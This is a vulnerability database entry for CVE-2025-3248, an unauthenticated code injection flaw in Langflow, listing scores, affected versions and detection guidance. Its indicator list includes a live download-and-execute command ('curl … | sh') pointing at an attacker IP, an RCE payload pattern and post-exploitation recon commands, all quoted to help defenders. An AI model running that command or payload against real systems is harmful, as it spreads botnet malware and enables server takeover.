cbcvebase.
CVE-2025-3248
published 2025-04-07

CVE-2025-3248: Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send…

PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2025-05-26
Exploited in the wild
EPSS
100.00%
100.0th percentile
Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Affected

5 ranges
VendorProductVersion rangeFixed in
langflow-ailangflow< 1.9.01.9.0
langflowlangflow< 1.8.21.8.2
langflowlangflow< 1.3.01.3.0
langflowlangflow>= 0 < 1.3.01.3.0
langflowlangflow0 – 1.8.2

Detection & IOCsextracted from sources · hover to see the quote

url/api/v1/validate/code
urlhttps://github.com/verylazytech/CVE-2025-3248
ip80.66.75.121
port25565
filenamedocker
commandcurl -s http://80.66.75.121:25565/docker | sh
  • Monitor for unauthenticated POST requests to the /api/v1/validate/code endpoint; any such request is suspicious and indicative of CVE-2025-3248 exploitation attempts.
  • Detect payloads containing exec() with __import__("subprocess").check_output patterns in POST bodies to /api/v1/validate/code, as these are the observed RCE payload templates.
  • Alert on outbound curl requests from Langflow server processes, especially to non-standard ports (e.g., 25565), which may indicate payload download stage of Flodrix botnet delivery.
  • Look for reconnaissance commands (whoami, printenv, ip addr show, ifconfig, capsh --print, cat /root/.bash_history) executed by the Langflow process, indicating post-exploitation activity.
  • The Flodrix botnet payload terminates and deletes itself unless a valid parameter is provided; look for short-lived processes spawned by Langflow that self-delete, as this is a profiling/architecture-check behavior.
  • CVE-2025-3248 exploitation has been linked to the Iranian threat group MuddyWater; correlate Langflow exploitation activity with MuddyWater TTPs for attribution.
  • Monitor for .env and .db file access or exfiltration from Langflow servers, as these were observed being harvested within 24 hours of exploitation.
  • ·The vulnerability is distinct from CVE-2026-33017 (build_public_tmp endpoint); CVE-2025-3248 specifically affects /api/v1/validate/code and was fixed by adding authentication in 1.3.0.
  • ·CISA added CVE-2025-3248 to its Known Exploited Vulnerabilities (KEV) catalog on May 5, 2025, confirming active in-the-wild exploitation.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ghsa9.8CRITICAL
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.